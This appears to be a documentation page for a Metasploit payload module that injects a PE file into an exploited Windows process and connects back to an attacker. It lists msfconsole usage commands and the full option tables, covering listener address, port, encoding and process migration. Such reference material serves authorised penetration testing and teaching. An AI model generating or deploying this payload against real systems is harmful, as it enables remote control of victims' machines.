Windows Inject PE Files, Reverse TCP Stager (No NX or Win7) - Metasploit


This page contains detailed information about how to use the payload/windows/peinject/reverse_nonx_tcp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
Module: payload/windows/peinject/reverse_nonx_tcp
Source code: modules/payloads/stagers/windows/reverse_nonx_tcp.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. . Connect back to the attacker (No NX)

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use payload/windows/peinject/reverse_nonx_tcp
msf payload(reverse_nonx_tcp) > show options
    ... show and set options ...
msf payload(reverse_nonx_tcp) > generate

To learn how to generate payload/windows/peinject/reverse_nonx_tcp with msfvenom, please read this.

Required Options


  • LHOST: The listen address (an interface may be specified)

  • PE: The local path to the PE file to upload

Go back to menu.

Msfconsole Usage


Here is how the windows/peinject/reverse_nonx_tcp payload looks in the msfconsole:

msf6 > use payload/windows/peinject/reverse_nonx_tcp

msf6 payload(windows/peinject/reverse_nonx_tcp) > show info

       Name: Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
     Module: payload/windows/peinject/reverse_nonx_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 177
       Rank: Normal

Provided by:
  ege <[email protected]>
  vlad902 <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
PE                         yes       The local path to the PE file to upload

Description:
  Inject a custom native PE file into the exploited process using a 
  reflective PE loader. The reflective PE loader will execute the 
  pre-mapped PE image starting from the address of entry after 
  performing image base relocation and API address resolution. This 
  module requires a PE file that contains relocation data and a valid 
  (uncorrupted) import table. PE files with CLR(C#/.NET executables), 
  bounded imports, and TLS callbacks are not currently supported. Also 
  PE files which use resource loading might crash. . Connect back to 
  the attacker (No NX)

Module Options


This is a complete list of options available in the windows/peinject/reverse_nonx_tcp payload:

msf6 payload(windows/peinject/reverse_nonx_tcp) > show options

Module options (payload/windows/peinject/reverse_nonx_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
   PE                         yes       The local path to the PE file to upload

Advanced Options


Here is a complete list of advanced options supported by the windows/peinject/reverse_nonx_tcp payload:

msf6 payload(windows/peinject/reverse_nonx_tcp) > show advanced

Module advanced options (payload/windows/peinject/reverse_nonx_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   EnableStageEncoding         false            no        Encode the second stage payload
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate              false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                           no        Process to spawn and run shellcode in
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • ege <egebalci[at]pm.me>
  • vlad902

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.